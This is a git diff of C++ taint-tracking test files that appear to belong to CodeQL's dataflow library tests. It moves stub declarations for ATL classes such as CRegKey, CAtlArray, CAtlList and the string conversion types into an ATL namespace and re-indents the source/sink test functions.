-      DWORD nBufSize,
-      DWORD& nBytesRead) throw();
-      HRESULT Seek(LONGLONG nOffset, DWORD dwFrom) throw();
-  
-  HRESULT SetSize(ULONGLONG nNewLen) throw();
-  LPCTSTR TempFileName() throw();
-  HRESULT UnlockRange(ULONGLONG nPos, ULONGLONG nCount) throw();
-  
-  HRESULT Write(
-      LPCVOID pBuffer,
-      DWORD nBufSize,
-      DWORD* pnBytesWritten) throw();
-      operator HANDLE() throw();
-};
-
-void test_CAtlTemporaryFile() {
-  CAtlTemporaryFile file;
-  char buffer[1024];
-  DWORD bytesRead;
-  file.Read(buffer, 1024, bytesRead); // $ local_source
-}
-
-struct CRegKey {
-  CRegKey() throw();
-  CRegKey(CRegKey& key) throw();
-  explicit CRegKey(HKEY hKey) throw();
-  CRegKey(CAtlTransactionManager* pTM) throw();
-
-  ~CRegKey() throw();
-  void Attach(HKEY hKey) throw();
-  LONG Close() throw();
-
-  LONG Create(
-    HKEY hKeyParent,
-    LPCTSTR lpszKeyName,
-    LPTSTR lpszClass,
-    DWORD dwOptions,
-    REGSAM samDesired,
-    LPSECURITY_ATTRIBUTES lpSecAttr,
-    LPDWORD lpdwDisposition) throw();
-
-  LONG DeleteSubKey(LPCTSTR lpszSubKey) throw();
-  LONG DeleteValue(LPCTSTR lpszValue) throw();
-  HKEY Detach() throw();
-  
-  LONG EnumKey(
-    DWORD iIndex,
-    LPTSTR pszName,
-    LPDWORD pnNameLength,
-    FILETIME* pftLastWriteTime) throw();
-  
-  LONG Flush() throw();
-
-  LONG GetKeySecurity(
-    SECURITY_INFORMATION si,
-    PSECURITY_DESCRIPTOR psd,
-    LPDWORD pnBytes) throw();
-  
-  LONG NotifyChangeKeyValue(
-    BOOL bWatchSubtree,
-    DWORD dwNotifyFilter,
-    HANDLE hEvent,
-    BOOL bAsync) throw();
-
-  LONG Open(
-    HKEY hKeyParent,
-    LPCTSTR lpszKeyName,
-    REGSAM samDesired) throw();
-
-  LONG QueryBinaryValue(
-    LPCTSTR pszValueName,
-    void* pValue,
-    ULONG* pnBytes) throw();
-
-  LONG QueryDWORDValue(
-    LPCTSTR pszValueName,
-    DWORD& dwValue) throw();
-
-  LONG QueryGUIDValue(
-    LPCTSTR pszValueName,
-    GUID& guidValue) throw();
-
-  LONG QueryMultiStringValue(
-    LPCTSTR pszValueName,
-    LPTSTR pszValue,
-    ULONG* pnChars) throw();
-
-  LONG QueryQWORDValue(
-    LPCTSTR pszValueName,
-    ULONGLONG& qwValue) throw();
-
-  LONG QueryStringValue(
-    LPCTSTR pszValueName,
-    LPTSTR pszValue,
-    ULONG* pnChars) throw();
-
-  LONG QueryValue(
+    LONG GetKeySecurity(
+      SECURITY_INFORMATION si,
+      PSECURITY_DESCRIPTOR psd,
+      LPDWORD pnBytes) throw();
+    
+    LONG NotifyChangeKeyValue(
+      BOOL bWatchSubtree,
+      DWORD dwNotifyFilter,
+      HANDLE hEvent,
+      BOOL bAsync) throw();
+
+    LONG Open(
+      HKEY hKeyParent,
+      LPCTSTR lpszKeyName,
+      REGSAM samDesired) throw();
+
+    LONG QueryBinaryValue(
       LPCTSTR pszValueName,
-      DWORD* pdwType,
-      void* pData,
+      void* pValue,
       ULONG* pnBytes) throw();
 
-  LONG QueryValue(
-    DWORD& dwValue,
-    LPCTSTR lpszValueName);
-
-  LONG QueryValue(
-    LPTSTR szValue,
-    LPCTSTR lpszValueName,
-    DWORD* pdwCount);
-
-  LONG RecurseDeleteKey(LPCTSTR lpszKey) throw();
-
-  LONG SetBinaryValue(
-    LPCTSTR pszValueName,
-    const void* pValue,
-    ULONG nBytes) throw();
-
-  LONG SetDWORDValue(LPCTSTR pszValueName, DWORD dwValue) throw();
-
-  LONG SetGUIDValue(LPCTSTR pszValueName, REFGUID guidValue) throw();
-
-  LONG SetKeySecurity(SECURITY_INFORMATION si, PSECURITY_DESCRIPTOR psd) throw();
-
-  LONG SetKeyValue(
-    LPCTSTR lpszKeyName,
-    LPCTSTR lpszValue,
-    LPCTSTR lpszValueName) throw();
-
-  LONG SetMultiStringValue(LPCTSTR pszValueName, LPCTSTR pszValue) throw();
-
-  LONG SetQWORDValue(LPCTSTR pszValueName, ULONGLONG qwValue) throw();
-
-  LONG SetStringValue(
-    LPCTSTR pszValueName,
-    LPCTSTR pszValue,
-    DWORD dwType) throw();
-
-  LONG SetValue(
-    LPCTSTR pszValueName,
-    DWORD dwType,
-    const void* pValue,
-    ULONG nBytes) throw();
-
-  static LONG SetValue(
-    HKEY hKeyParent,
-    LPCTSTR lpszKeyName,
-    LPCTSTR lpszValue,
-    LPCTSTR lpszValueName);
-
-  LONG SetValue(
-    DWORD dwValue,
-    LPCTSTR lpszValueName);
-
-  LONG SetValue(
-    LPCTSTR lpszValue,
-    LPCTSTR lpszValueName,
-    bool bMulti,
-    int nValueLen);
-
-  operator HKEY() const throw();
-  CRegKey& operator= (CRegKey& key) throw();
-
-  HKEY m_hKey;
-};
-
-void test_CRegKey() {
-  CRegKey key;
-  char data[1024];
-  ULONG bytesRead;
-  key.QueryBinaryValue("foo", data, &bytesRead); // $ local_source
-
-  DWORD value;
-  key.QueryDWORDValue("foo", value); // $ local_source
-  
-  GUID guid;
-  key.QueryGUIDValue("foo", guid); // $ local_source
-  
-  key.QueryMultiStringValue("foo", data, &bytesRead); // $ local_source
-  
-  ULONGLONG qword;
-  key.QueryQWORDValue("foo", qword); // $ local_source
-  
-  key.QueryStringValue("foo", data, &bytesRead); // $ local_source
-  
-  key.QueryValue(data, "foo", &bytesRead); // $ local_source
-  
-  DWORD type;
-  key.QueryValue("foo", &type, data, &bytesRead); // $ local_source
-  
-  DWORD value2;
-  key.QueryValue(value2, "foo"); // $ local_source
+    LONG QueryDWORDValue(
+      LPCTSTR pszValueName,
+      DWORD& dwValue) throw();
+
+    LONG QueryGUIDValue(
+      LPCTSTR pszValueName,
+      GUID& guidValue) throw();
+
+    LONG QueryMultiStringValue(
+      LPCTSTR pszValueName,
+      LPTSTR pszValue,
+      ULONG* pnChars) throw();
+
+    LONG QueryQWORDValue(
+      LPCTSTR pszValueName,
+      ULONGLONG& qwValue) throw();
+
+    LONG QueryStringValue(
+      LPCTSTR pszValueName,
+      LPTSTR pszValue,
+      ULONG* pnChars) throw();
+
+    LONG QueryValue(
+        LPCTSTR pszValueName,
+        DWORD* pdwType,
+        void* pData,
+        ULONG* pnBytes) throw();
+
+    LONG QueryValue(
+      DWORD& dwValue,
+      LPCTSTR lpszValueName);
+
+    LONG QueryValue(
+      LPTSTR szValue,
+      LPCTSTR lpszValueName,
+      DWORD* pdwCount);
+
+    LONG RecurseDeleteKey(LPCTSTR lpszKey) throw();
+
+    LONG SetBinaryValue(
+      LPCTSTR pszValueName,
+      const void* pValue,
+      ULONG nBytes) throw();
+
+    LONG SetDWORDValue(LPCTSTR pszValueName, DWORD dwValue) throw();
+
+    LONG SetGUIDValue(LPCTSTR pszValueName, REFGUID guidValue) throw();
+
+    LONG SetKeySecurity(SECURITY_INFORMATION si, PSECURITY_DESCRIPTOR psd) throw();
+
+    LONG SetKeyValue(
+      LPCTSTR lpszKeyName,
+      LPCTSTR lpszValue,
+      LPCTSTR lpszValueName) throw();
+
+    LONG SetMultiStringValue(LPCTSTR pszValueName, LPCTSTR pszValue) throw();
+
+    LONG SetQWORDValue(LPCTSTR pszValueName, ULONGLONG qwValue) throw();
+
+    LONG SetStringValue(
+      LPCTSTR pszValueName,
+      LPCTSTR pszValue,
+      DWORD dwType) throw();
+
+    LONG SetValue(
+      LPCTSTR pszValueName,
+      DWORD dwType,
+      const void* pValue,
+      ULONG nBytes) throw();
+
+    static LONG SetValue(
+      HKEY hKeyParent,
+      LPCTSTR lpszKeyName,
+      LPCTSTR lpszValue,
+      LPCTSTR lpszValueName);
+
+    LONG SetValue(
+      DWORD dwValue,
+      LPCTSTR lpszValueName);
+
+    LONG SetValue(
+      LPCTSTR lpszValue,
+      LPCTSTR lpszValueName,
+      bool bMulti,
+      int nValueLen);
+
+    operator HKEY() const throw();
+    CRegKey& operator= (CRegKey& key) throw();
+
+    HKEY m_hKey;
+  };
+
+  void test_CRegKey() {
+    CRegKey key;
+    char data[1024];
+    ULONG bytesRead;
+    key.QueryBinaryValue("foo", data, &bytesRead); // $ local_source
+
+    DWORD value;
+    key.QueryDWORDValue("foo", value); // $ local_source
+    
+    GUID guid;
+    key.QueryGUIDValue("foo", guid); // $ local_source
+    
+    key.QueryMultiStringValue("foo", data, &bytesRead); // $ local_source
+    
+    ULONGLONG qword;
+    key.QueryQWORDValue("foo", qword); // $ local_source
+    
+    key.QueryStringValue("foo", data, &bytesRead); // $ local_source
+    
+    key.QueryValue(data, "foo", &bytesRead); // $ local_source
+    
+    DWORD type;
+    key.QueryValue("foo", &type, data, &bytesRead); // $ local_source
+    
+    DWORD value2;
+    key.QueryValue(value2, "foo"); // $ local_source
+  }
 }
\ No newline at end of file
diff --git a/cpp/ql/test/library-tests/dataflow/taint-tests/atl.cpp b/cpp/ql/test/library-tests/dataflow/taint-tests/atl.cpp
index 167ba84301fd..e26416a0e68c 100644
--- a/cpp/ql/test/library-tests/dataflow/taint-tests/atl.cpp
+++ b/cpp/ql/test/library-tests/dataflow/taint-tests/atl.cpp
@@ -30,1213 +30,1215 @@ struct __POSITION { int unused; };
 typedef __POSITION* POSITION;
 typedef WORD ATL_URL_PORT;
 
-enum ATL_URL_SCHEME{
-   ATL_URL_SCHEME_UNKNOWN = -1,
-   ATL_URL_SCHEME_FTP     = 0,
-   ATL_URL_SCHEME_GOPHER  = 1,
-   ATL_URL_SCHEME_HTTP    = 2,
-   ATL_URL_SCHEME_HTTPS   = 3,
-   ATL_URL_SCHEME_FILE    = 4,
-   ATL_URL_SCHEME_NEWS    = 5,
-   ATL_URL_SCHEME_MAILTO  = 6,
-   ATL_URL_SCHEME_SOCKS   = 7
-};
-
 using HINSTANCE = void*;
 using size_t = decltype(sizeof(int));
 using SIZE_T = size_t;
 
 #define NULL nullptr
 
-typedef struct tagSAFEARRAYBOUND {
-  ULONG cElements;
-  LONG  lLbound;
-} SAFEARRAYBOUND, *LPSAFEARRAYBOUND;
-
-typedef struct tagVARIANT {
-  /* ... */
-} VARIANT;
-
-typedef struct tagSAFEARRAY {
-  USHORT         cDims;
-  USHORT         fFeatures;
-  ULONG          cbElements;
-  ULONG          cLocks;
-  PVOID          pvData;
-  SAFEARRAYBOUND rgsabound[1];
-} SAFEARRAY, *LPSAFEARRAY;
-
-struct _U_STRINGorID {
-  _U_STRINGorID(UINT nID);
-  _U_STRINGorID(LPCTSTR lpString);
-
-  LPCTSTR m_lpstr;
-};
-
-void test__U_STRINGorID() {
-  {
-    UINT x = source<UINT>();
-    _U_STRINGorID u(x);
-    sink(u.m_lpstr); // $ ir
-  }
+namespace ATL {
+  enum ATL_URL_SCHEME{
+    ATL_URL_SCHEME_UNKNOWN = -1,
+    ATL_URL_SCHEME_FTP     = 0,
+    ATL_URL_SCHEME_GOPHER  = 1,
+    ATL_URL_SCHEME_HTTP    = 2,
+    ATL_URL_SCHEME_HTTPS   = 3,
+    ATL_URL_SCHEME_FILE    = 4,
+    ATL_URL_SCHEME_NEWS    = 5,
+    ATL_URL_SCHEME_MAILTO  = 6,
+    ATL_URL_SCHEME_SOCKS   = 7
+  };
+
+  typedef struct tagSAFEARRAYBOUND {
+    ULONG cElements;
+    LONG  lLbound;
+  } SAFEARRAYBOUND, *LPSAFEARRAYBOUND;
+
+  typedef struct tagVARIANT {
+    /* ... */
+  } VARIANT;
+
+  typedef struct tagSAFEARRAY {
+    USHORT         cDims;
+    USHORT         fFeatures;
+    ULONG          cbElements;
+    ULONG          cLocks;
+    PVOID          pvData;
+    SAFEARRAYBOUND rgsabound[1];
+  } SAFEARRAY, *LPSAFEARRAY;
+
+  struct _U_STRINGorID {
+    _U_STRINGorID(UINT nID);
+    _U_STRINGorID(LPCTSTR lpString);
+
+    LPCTSTR m_lpstr;
+  };
+
+  void test__U_STRINGorID() {
+    {
+      UINT x = source<UINT>();
+      _U_STRINGorID u(x);
+      sink(u.m_lpstr); // $ ir
+    }
 
-  {
-    LPCTSTR y = indirect_source<const char>();
-    _U_STRINGorID u(y);
-    sink(u.m_lpstr); // $ ir
+    {
+      LPCTSTR y = indirect_source<const char>();
+      _U_STRINGorID u(y);
+      sink(u.m_lpstr); // $ ir
+    }
   }
-}
 
-template <int t_nBufferLength>
-struct CA2AEX {
-  LPSTR m_psz;
-  char m_szBuffer[t_nBufferLength];
+  template <int t_nBufferLength>
+  struct CA2AEX {
+    LPSTR m_psz;
+    char m_szBuffer[t_nBufferLength];
 
-  CA2AEX(LPCSTR psz, UINT nCodePage);
-  CA2AEX(LPCSTR psz);
+    CA2AEX(LPCSTR psz, UINT nCodePage);
+    CA2AEX(LPCSTR psz);
 
-  ~CA2AEX();
+    ~CA2AEX();
 
-  operator LPSTR() const throw();
-};
+    operator LPSTR() const throw();
+  };
 
-void test_CA2AEX() {
-  {
-    LPSTR x = indirect_source<char>();
-    CA2AEX<128> a(x);
-    sink(static_cast<LPSTR>(a)); // $ ir
-    sink(a.m_psz); // $ ir
-    sink(a.m_szBuffer); // $ ir
-  }
-
-  {
-    LPSTR x = indirect_source<char>();
-    CA2AEX<128> a(x, 0);
-    sink(static_cast<LPSTR>(a)); // $ ir
-    sink(a.m_psz); // $ ir
-    sink(a.m_szBuffer); // $ ir
-  }
-}
+  void test_CA2AEX() {
+    {
+      LPSTR x = indirect_source<char>();
+      CA2AEX<128> a(x);
+      sink(static_cast<LPSTR>(a)); // $ ir
+      sink(a.m_psz); // $ ir
+      sink(a.m_szBuffer); // $ ir
+    }
 
-template<int t_nBufferLength>
-struct CA2CAEX {
-  CA2CAEX(LPCSTR psz, UINT nCodePage) ;
-  CA2CAEX(LPCSTR psz) ;
-  ~CA2CAEX() throw();
-  operator LPCSTR() const throw();
-  LPCSTR m_psz;
-};
-
-void test_CA2CAEX() {
-  LPCSTR x = indirect_source<char>();
-  {
-    CA2CAEX<128> a(x);
-    sink(static_cast<LPCSTR>(a)); // $ ir
-    sink(a.m_psz); // $ ir
-    sink(a.m_psz); // $ ir
-  }
-  {
-    CA2CAEX<128> a(x, 0);
-    sink(static_cast<LPCSTR>(a)); // $ ir
-    sink(a.m_psz); // $ ir
-    sink(a.m_psz); // $ ir
+    {
+      LPSTR x = indirect_source<char>();
+      CA2AEX<128> a(x, 0);
+      sink(static_cast<LPSTR>(a)); // $ ir
+      sink(a.m_psz); // $ ir
+      sink(a.m_szBuffer); // $ ir
+    }
   }
-}
 
-template <int t_nBufferLength>
-struct CA2WEX {
-  CA2WEX(LPCSTR psz, UINT nCodePage) ;
-  CA2WEX(LPCSTR psz) ;
-  ~CA2WEX() throw();
-  operator LPWSTR() const throw();
-  LPWSTR m_psz;
-  wchar_t m_szBuffer[t_nBufferLength];
-};
-
-void test_CA2WEX() {
-  LPCSTR x = indirect_source<char>();
-  {
-    CA2WEX<128> a(x);
-    sink(static_cast<LPWSTR>(a)); // $ ir
-    sink(a.m_psz); // $ ir
-    sink(a.m_psz); // $ ir
-  }
-  {
-    CA2WEX<128> a(x, 0);
-    sink(static_cast<LPWSTR>(a)); // $ ir
-    sink(a.m_psz); // $ ir
-    sink(a.m_psz); // $ ir
+  template<int t_nBufferLength>
+  struct CA2CAEX {
+    CA2CAEX(LPCSTR psz, UINT nCodePage) ;
+    CA2CAEX(LPCSTR psz) ;
+    ~CA2CAEX() throw();
+    operator LPCSTR() const throw();
+    LPCSTR m_psz;
+  };
+
+  void test_CA2CAEX() {
+    LPCSTR x = indirect_source<char>();
+    {
+      CA2CAEX<128> a(x);
+      sink(static_cast<LPCSTR>(a)); // $ ir
+      sink(a.m_psz); // $ ir
+      sink(a.m_psz); // $ ir
+    }
+    {
+      CA2CAEX<128> a(x, 0);
+      sink(static_cast<LPCSTR>(a)); // $ ir
+      sink(a.m_psz); // $ ir
+      sink(a.m_psz); // $ ir
+    }
   }
-}
 
-template<typename T>
-struct CElementTraitsBase {
-  typedef const T& INARGTYPE;
-  typedef T& OUTARGTYPE;
-
-  static void CopyElements(T* pDest, const T* pSrc, size_t nElements);
-  static void RelocateElements(T* pDest, T* pSrc, size_t nElements);
-};
-
-template <typename T>
-struct CDefaultElementTraits : public CElementTraitsBase<T> {};
-
-template<typename T>
-struct CElementTraits : public CDefaultElementTraits<T> {};
-
-template<typename E, class ETraits = CElementTraits<E>>
-struct CAtlArray {
-  using INARGTYPE = typename ETraits::INARGTYPE;
-  using OUTARGTYPE = typename ETraits::OUTARGTYPE;
-
-  CAtlArray() throw();
-  ~CAtlArray() throw();
-
-  size_t Add(INARGTYPE element);
-  size_t Add();
-  size_t Append(const CAtlArray<E, ETraits>& aSrc);
-  void Copy(const CAtlArray<E, ETraits>& aSrc);
-  const E& GetAt(size_t iElement) const throw();
-  E& GetAt(size_t iElement) throw();
-  size_t GetCount() const throw();
-  E* GetData() throw();
-  const E* GetData() const throw();
-  void InsertArrayAt(size_t iStart, const CAtlArray<E, ETraits>* paNew);
-  void InsertAt(size_t iElement, INARGTYPE element, size_t nCount);
-  bool IsEmpty() const throw();
-  void RemoveAll() throw();
-  void RemoveAt(size_t iElement, size_t nCount);
-  void SetAt(size_t iElement, INARGTYPE element);
-  void SetAtGrow(size_t iElement, INARGTYPE element);
-  bool SetCount(size_t nNewSize, int nGrowBy);
-  E& operator[](size_t ielement) throw();
-  const E& operator[](size_t ielement) const throw();
-};
-
-void test_CAtlArray() {
-  int x = source<int>();
-
-  {
-    CAtlArray<int> a;
-    a.Add(x);
-    sink(a[0]); // $ ir
-    a.Add(0);
-    sink(a[0]); // $ ir
-
-    CAtlArray<int> a2;
-    sink(a2[0]);
-    a2.Append(a);
-    sink(a2[0]); // $ ir
-
-    CAtlArray<int> a3;
-    sink(a3[0]);
-    a3.Copy(a2);
-    sink(a3[0]); // $ ir
-
-    sink(a3.GetAt(0)); // $ ir
-    sink(*a3.GetData()); // $ ir
-
-    CAtlArray<int> a4;
-    sink(a4.GetAt(0));
-    a4.InsertArrayAt(0, &a3);
-    sink(a4.GetAt(0)); // $ ir
-  }
-  {
-    CAtlArray<int> a5;
-    a5.InsertAt(0, source<int>(), 1);
-    sink(a5[0]); // $ ir
-
-    CAtlArray<int> a6;
-    a6.SetAtGrow(0, source<int>());
-    sink(a6[0]); // $ ir
+  template <int t_nBufferLength>
+  struct CA2WEX {
+    CA2WEX(LPCSTR psz, UINT nCodePage) ;
+    CA2WEX(LPCSTR psz) ;
+    ~CA2WEX() throw();
+    operator LPWSTR() const throw();
+    LPWSTR m_psz;
+    wchar_t m_szBuffer[t_nBufferLength];
+  };
+
+  void test_CA2WEX() {
+    LPCSTR x = indirect_source<char>();
+    {
+      CA2WEX<128> a(x);
+      sink(static_cast<LPWSTR>(a)); // $ ir
+      sink(a.m_psz); // $ ir
+      sink(a.m_psz); // $ ir
+    }
+    {
+      CA2WEX<128> a(x, 0);
+      sink(static_cast<LPWSTR>(a)); // $ ir
+      sink(a.m_psz); // $ ir
+      sink(a.m_psz); // $ ir
+    }
   }
-}
 
-template<typename E, class ETraits = CElementTraits<E>>
-struct CAtlList {
-  using INARGTYPE = typename ETraits::INARGTYPE;
-  CAtlList(UINT nBlockSize) throw();
-  ~CAtlList() throw();
-  POSITION AddHead();
-  POSITION AddHead(INARGTYPE element);
-  void AddHeadList(const CAtlList<E, ETraits>* plNew);
-  POSITION AddTail();
-  POSITION AddTail(INARGTYPE element);
-  void AddTailList(const CAtlList<E, ETraits>* plNew);
-  POSITION Find(INARGTYPE element, POSITION posStartAfter) const throw();
-  POSITION FindIndex(size_t iElement) const throw();
-  E& GetAt(POSITION pos) throw();
-  const E& GetAt(POSITION pos) const throw();
-  size_t GetCount() const throw();
-  E& GetHead() throw();
-  const E& GetHead() const throw();
-  POSITION GetHeadPosition() const throw();
-  E& GetNext(POSITION& pos) throw();
-  const E& GetNext(POSITION& pos) const throw();
-  E& GetPrev(POSITION& pos) throw();
-  const E& GetPrev(POSITION& pos) const throw();
-  E& GetTail() throw();
-  const E& GetTail() const throw();
-  POSITION GetTailPosition() const throw();
-  POSITION InsertAfter(POSITION pos, INARGTYPE element);
-  POSITION InsertBefore(POSITION pos, INARGTYPE element);
-  bool IsEmpty() const throw();
-  void MoveToHead(POSITION pos) throw();
-  void MoveToTail(POSITION pos) throw();
-  void RemoveAll() throw();
-  void RemoveAt(POSITION pos) throw();
-  E RemoveHead();
-  void RemoveHeadNoReturn() throw();
-  E RemoveTail();
-  void RemoveTailNoReturn() throw();
-  void SetAt(POSITION pos, INARGTYPE element);
-  void SwapElements(POSITION pos1, POSITION pos2) throw();
-};
-
-void test_CAtlList() {
-  int x = source<int>();
-  {
-    CAtlList<int> list(10);
-    sink(list.GetHead());
-    list.AddHead(x);
-    sink(list.GetHead()); // $ ir
-
-    CAtlList<int> list2(10);
-    list2.AddHeadList(&list);
-    sink(list2.GetHead()); // $ ir
-
-    CAtlList<int> list3(10);
-    list3.AddTail(x);
-    sink(list3.GetHead()); // $ ir
-
-    CAtlList<int> list4(10);
-    list4.AddTailList(&list3);
-    sink(list4.GetHead()); // $ ir
+  template<typename T>
+  struct CElementTraitsBase {
+    typedef const T& INARGTYPE;
+    typedef T& OUTARGTYPE;
+
+    static void CopyElements(T* pDest, const T* pSrc, size_t nElements);
+    static void RelocateElements(T* pDest, T* pSrc, size_t nElements);
+  };
+
+  template <typename T>
+  struct CDefaultElementTraits : public CElementTraitsBase<T> {};
+
+  template<typename T>
+  struct CElementTraits : public CDefaultElementTraits<T> {};
+
+  template<typename E, class ETraits = CElementTraits<E>>
+  struct CAtlArray {
+    using INARGTYPE = typename ETraits::INARGTYPE;
+    using OUTARGTYPE = typename ETraits::OUTARGTYPE;
+
+    CAtlArray() throw();
+    ~CAtlArray() throw();
+
+    size_t Add(INARGTYPE element);
+    size_t Add();
+    size_t Append(const CAtlArray<E, ETraits>& aSrc);
+    void Copy(const CAtlArray<E, ETraits>& aSrc);
+    const E& GetAt(size_t iElement) const throw();
+    E& GetAt(size_t iElement) throw();
+    size_t GetCount() const throw();
+    E* GetData() throw();
+    const E* GetData() const throw();
+    void InsertArrayAt(size_t iStart, const CAtlArray<E, ETraits>* paNew);
+    void InsertAt(size_t iElement, INARGTYPE element, size_t nCount);
+    bool IsEmpty() const throw();
+    void RemoveAll() throw();
+    void RemoveAt(size_t iElement, size_t nCount);
+    void SetAt(size_t iElement, INARGTYPE element);
+    void SetAtGrow(size_t iElement, INARGTYPE element);
+    bool SetCount(size_t nNewSize, int nGrowBy);
+    E& operator[](size_t ielement) throw();
+    const E& operator[](size_t ielement) const throw();
+  };
+
+  void test_CAtlArray() {
+    int x = source<int>();
 
     {
-      CAtlList<int> list5(10);
-      auto pos = list5.Find(x, list5.GetHeadPosition());
-      sink(list5.GetAt(pos)); // $ MISSING: ir
+      CAtlArray<int> a;
+      a.Add(x);
+      sink(a[0]); // $ ir
+      a.Add(0);
+      sink(a[0]); // $ ir
+
+      CAtlArray<int> a2;
+      sink(a2[0]);
+      a2.Append(a);
+      sink(a2[0]); // $ ir
+
+      CAtlArray<int> a3;
+      sink(a3[0]);
+      a3.Copy(a2);
+      sink(a3[0]); // $ ir
+
+      sink(a3.GetAt(0)); // $ ir
+      sink(*a3.GetData()); // $ ir
+
+      CAtlArray<int> a4;
+      sink(a4.GetAt(0));
+      a4.InsertArrayAt(0, &a3);
+      sink(a4.GetAt(0)); // $ ir
     }
-
     {
-      CAtlList<int> list6(10);
-      list6.AddHead(x);
-      auto pos = list6.FindIndex(0);
-      sink(list6.GetAt(pos)); // $ ir
-    }
+      CAtlArray<int> a5;
+      a5.InsertAt(0, source<int>(), 1);
+      sink(a5[0]); // $ ir
 
-    {
-      CAtlList<int> list7(10);
-      auto pos = list7.GetTailPosition();
-      list7.InsertAfter(pos, x);
-      sink(list7.GetHead()); // $ ir
+      CAtlArray<int> a6;
+      a6.SetAtGrow(0, source<int>());
+      sink(a6[0]); // $ ir
     }
+  }
 
+  template<typename E, class ETraits = CElementTraits<E>>
+  struct CAtlList {
+    using INARGTYPE = typename ETraits::INARGTYPE;
+    CAtlList(UINT nBlockSize) throw();
+    ~CAtlList() throw();
+    POSITION AddHead();
+    POSITION AddHead(INARGTYPE element);
+    void AddHeadList(const CAtlList<E, ETraits>* plNew);
+    POSITION AddTail();
+    POSITION AddTail(INARGTYPE element);
+    void AddTailList(const CAtlList<E, ETraits>* plNew);
+    POSITION Find(INARGTYPE element, POSITION posStartAfter) const throw();
+    POSITION FindIndex(size_t iElement) const throw();
+    E& GetAt(POSITION pos) throw();
+    const E& GetAt(POSITION pos) const throw();
+    size_t GetCount() const throw();
+    E& GetHead() throw();
+    const E& GetHead() const throw();
+    POSITION GetHeadPosition() const throw();
+    E& GetNext(POSITION& pos) throw();
+    const E& GetNext(POSITION& pos) const throw();
+    E& GetPrev(POSITION& pos) throw();
+    const E& GetPrev(POSITION& pos) const throw();
+    E& GetTail() throw();
+    const E& GetTail() const throw();
+    POSITION GetTailPosition() const throw();
+    POSITION InsertAfter(POSITION pos, INARGTYPE element);
+    POSITION InsertBefore(POSITION pos, INARGTYPE element);
+    bool IsEmpty() const throw();
+    void MoveToHead(POSITION pos) throw();
+    void MoveToTail(POSITION pos) throw();
+    void RemoveAll() throw();
+    void RemoveAt(POSITION pos) throw();
+    E RemoveHead();
+    void RemoveHeadNoReturn() throw();
+    E RemoveTail();
+    void RemoveTailNoReturn() throw();
+    void SetAt(POSITION pos, INARGTYPE element);
+    void SwapElements(POSITION pos1, POSITION pos2) throw();
+  };
+
+  void test_CAtlList() {
+    int x = source<int>();
     {
-      CAtlList<int> list8(10);
-      auto pos = list8.GetTailPosition();
-      list8.InsertBefore(pos, x);
-      sink(list8.GetHead()); // $ ir
+      CAtlList<int> list(10);
+      sink(list.GetHead());
+      list.AddHead(x);
+      sink(list.GetHead()); // $ ir
+
+      CAtlList<int> list2(10);
+      list2.AddHeadList(&list);
+      sink(list2.GetHead()); // $ ir
+
+      CAtlList<int> list3(10);
+      list3.AddTail(x);
+      sink(list3.GetHead()); // $ ir
+
+      CAtlList<int> list4(10);
+      list4.AddTailList(&list3);
+      sink(list4.GetHead()); // $ ir
+
+      {
+        CAtlList<int> list5(10);
+        auto pos = list5.Find(x, list5.GetHeadPosition());
+        sink(list5.GetAt(pos)); // $ MISSING: ir
+      }
+
+      {
+        CAtlList<int> list6(10);
+        list6.AddHead(x);
+        auto pos = list6.FindIndex(0);
+        sink(list6.GetAt(pos)); // $ ir
+      }
+
+      {
+        CAtlList<int> list7(10);
+        auto pos = list7.GetTailPosition();
+        list7.InsertAfter(pos, x);
+        sink(list7.GetHead()); // $ ir
+      }
+
+      {
+        CAtlList<int> list8(10);
+        auto pos = list8.GetTailPosition();
+        list8.InsertBefore(pos, x);
+        sink(list8.GetHead()); // $ ir
+      }
+      {
+        CAtlList<int> list9(10);
+        list9.SetAt(list9.GetHeadPosition(), x);
+        sink(list9.GetHead()); // $ ir
+      }
     }
+
+    int* p = indirect_source<int>();
     {
-      CAtlList<int> list9(10);
-      list9.SetAt(list9.GetHeadPosition(), x);
-      sink(list9.GetHead()); // $ ir
+      CAtlList<int*> list(10);
+      sink(list.GetHead());
+      list.AddHead(p);
+      sink(list.GetHead()); // $ ir
+
+      CAtlList<int*> list2(10);
+      list2.AddHeadList(&list);
+      sink(list2.GetHead()); // $ ir
+
+      CAtlList<int*> list3(10);
+      list3.AddTail(p);
+      sink(list3.GetHead()); // $ ir
+
+      CAtlList<int*> list4(10);
+      list4.AddTailList(&list3);
+      sink(list4.GetHead()); // $ ir
+
+      {
+        CAtlList<int*> list5(10);
+        auto pos = list5.Find(p, list5.GetHeadPosition());
+        sink(list5.GetAt(pos)); // $ MISSING: ir
+      }
+
+      {
+        CAtlList<int*> list6(10);
+        list6.AddHead(p);
+        auto pos = list6.FindIndex(0);
+        sink(list6.GetAt(pos)); // $ ir
+      }
+
+      {
+        CAtlList<int*> list7(10);
+        auto pos = list7.GetTailPosition();
+        list7.InsertAfter(pos, p);
+        sink(list7.GetHead()); // $ ir
+      }
+
+      {
+        CAtlList<int*> list8(10);
+        auto pos = list8.GetTailPosition();
+        list8.InsertBefore(pos, p);
+        sink(list8.GetHead()); // $ ir
+      }
+      {
+        CAtlList<int*> list9(10);
+        list9.SetAt(list9.GetHeadPosition(), p);
+        sink(list9.GetHead()); // $ ir
+      }
     }
   }
 
-  int* p = indirect_source<int>();
-  {
-    CAtlList<int*> list(10);
-    sink(list.GetHead());
-    list.AddHead(p);
-    sink(list.GetHead()); // $ ir
-
-    CAtlList<int*> list2(10);
-    list2.AddHeadList(&list);
-    sink(list2.GetHead()); // $ ir
-
-    CAtlList<int*> list3(10);
-    list3.AddTail(p);
-    sink(list3.GetHead()); // $ ir
-
-    CAtlList<int*> list4(10);
-    list4.AddTailList(&list3);
-    sink(list4.GetHead()); // $ ir
+  struct IUnknown { };
+
+  struct ISequentialStream : public IUnknown { };
+
+  struct IStream : public ISequentialStream { };
+
+  struct CComBSTR {
+    CComBSTR() throw();
+    CComBSTR(const CComBSTR& src);
+    CComBSTR(int nSize);
+    CComBSTR(int nSize, LPCOLESTR sz);
+    CComBSTR(int nSize, LPCSTR sz);
+    CComBSTR(LPCOLESTR pSrc);
+    CComBSTR(LPCSTR pSrc);
+    CComBSTR(CComBSTR&& src) throw();
+    ~CComBSTR();
+    
+    HRESULT Append(const CComBSTR& bstrSrc) throw();
+    HRESULT Append(wchar_t ch) throw();
+    HRESULT Append(char ch) throw();
+    HRESULT Append(LPCOLESTR lpsz) throw();
+    HRESULT Append(LPCSTR lpsz) throw();
